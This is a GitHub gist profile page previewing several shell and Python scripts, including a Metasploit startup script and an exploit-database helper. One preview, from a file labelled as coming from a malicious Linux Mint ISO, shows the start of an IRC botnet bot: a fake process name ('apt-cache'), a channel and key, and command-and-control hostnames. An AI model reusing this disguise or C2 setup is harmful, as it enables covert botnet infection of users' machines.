Skip to content

Instantly share code, notes, and snippets.

View kurobeats's full-sized avatar
😀
wiew

Anthony Cozamanis kurobeats

😀
wiew
View GitHub Profile
@kurobeats
kurobeats / pacapt package manager checker.sh
Last active August 29, 2015 14:15
pacapt package manager checker
# Detect package type from /etc/issue
_found_arch() {
local _ostype="$1"
shift
grep -qis "$*" /etc/issue && _OSTYPE="$_ostype"
}
# Detect package type
_OSTYPE_detect() {
_found_arch PACMAN "Arch Linux" && return
#!/bin/bash
# Default Variable Declarations
DEFAULT="Default.txt"
FILEEXT=".ovpn"
CRT=".crt"
KEY=".3des.key"
CA="ca.crt"
TA="ta.key"
@kurobeats
kurobeats / blackarch-mirrorlist
Last active February 5, 2023 07:58
A nicely formatted blackarch mirrorlist, ready for use
# BlackArch Mirror list
## Australia
#Server = http://blackarch.mirror.digitalpacific.com.au/$repo/os/$arch
#Server = rsync://mirror.digitalpacific.com.au/blackarch/$repo/os/$arch
## Austria
#Server = http://mirror.easyname.at/blackarch/$repo/os/$arch
#Server = ftp://mirror.easyname.at/blackarch/$repo/os/$arch
#Server = rsync://mirror.easyname.at/blackarch/$repo/os/$arch
# Geany's snippets configuration file
#
# use \n or %newline% for a new line (it will be replaced by the used EOL char(s) - LF, CR/LF, CR).
# use \t or %ws% for an indentation step, it will be replaced according to the current document's indent mode.
# use \s to force whitespace at beginning or end of a value ('key= value' won't work, use 'key=\svalue').
# use %key% for all keys defined in the [Special] section.
# use %cursor% to define where the cursor should be placed after completion. You can define multiple
# %cursor% wildcards and use the "Move cursor in snippet" to jump to the next defined cursor
# position in the completed snippet.
# You can define a section for each supported filetype to overwrite default settings, the section
@kurobeats
kurobeats / exploitdbee.py
Last active August 29, 2015 14:20
exploitdbee.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
#
# exploitdbee.py
#
# Version: 1.0
#
# Copyright (C) 2011 novacane novacane[at]dandies[dot]org
#
# This program is free software: you can redistribute it and/or modify
@kurobeats
kurobeats / metasploit_startup.sh
Last active August 29, 2015 14:21
A script to start postgres and msf, because I'm lazy
#!/usr/bin/env bash
# Check to ensure the script is run as root/sudo
if [ "$(id -u)" != "0" ];
then
echo "You are not root! Y u do dis?!" 1>&2
exit 1
fi
systemctl start postgresql.service
#!/usr/bin/env python2
"""Simple HTTP Server With Upload.
This module builds on BaseHTTPServer by implementing the standard GET
and HEAD requests in a fairly straightforward manner.
"""
@kurobeats
kurobeats / bashrc.sh
Last active February 9, 2016 04:02
bashrc_functions
#-----------------------------------
# Maintaince functions:
#-----------------------------------
#update computer
function update() {
if [ -f /usr/bin/pacman ]; then
if [ -f /usr/bin/yaourt ]; then
yaourt -Syua;
else
@kurobeats
kurobeats / man.cy
Created February 21, 2016 09:00
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@kurobeats
kurobeats / mpdsetup.sh
Last active February 14, 2020 00:22
From http://dl.53280.de/mpdsetup.sh before it went down
#!/bin/bash
clear
username=$(whoami)
interface=`ip route show | cut -d ' ' -f 3 | head -1`
interface=$(ip route show | awk '{print $NF}' | tail -1)
echo "What is the full path of the directory containing your music?"
read -e -p "> " music_dir
if test -n "$(pgrep pulseaudio)";
then